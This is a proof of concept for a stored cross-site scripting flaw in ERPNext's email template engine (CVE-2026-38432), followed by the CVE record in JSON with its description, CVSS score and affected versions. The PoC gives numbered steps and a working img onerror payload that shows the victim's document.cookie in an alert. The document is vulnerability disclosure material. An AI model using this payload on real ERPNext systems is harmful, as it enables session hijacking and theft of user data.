CVE-2026-38432

<!-- PoC for CVE-2026-38432: Stored XSS in ERPNext Email Template --> <!-- Step 1: Navigate to Email Template List and create new template --> <!-- Step 2: Insert the following payload into the HTML content field --> <div> <h3>Template Content</h3> <!-- Malicious Payload to demonstrate XSS --> <img src=x onerror=alert('CVE-2026-38432: ' + document.cookie)> </div> <!-- Step 3: Save the template --> <!-- Step 4: Preview the template or trigger an email using this template --> <!-- Step 5: Observe the alert box executing JavaScript in the browser -->

{"cve": {"id": "CVE-2026-38432", "sourceIdentifier": "[email protected]", "published": "2026-05-05T17:17:04.800", "lastModified": "2026-05-08T17:05:35.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ERPNext v15.103.1 and before is vulnerable to Cross Site Scripting (XSS) in the Email Template engine. An attacker with permission to create or edit email templates can inject malicious JavaScript code that are executed on the victim's browser when the template is applied."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:*", "versionEndIncluding": "15.103.1", "matchCriteriaId": "1300B107-AF39-4DBD-86BA-406B38A0FB1C"}]}]}], "references": [{"url": "https://c0wking.hashnode.dev/stored-xss-in-erpnext-frappe-email-template-engine", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://c0wking.hashnode.dev/stored-xss-in-erpnext-frappe-email-template-engine", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}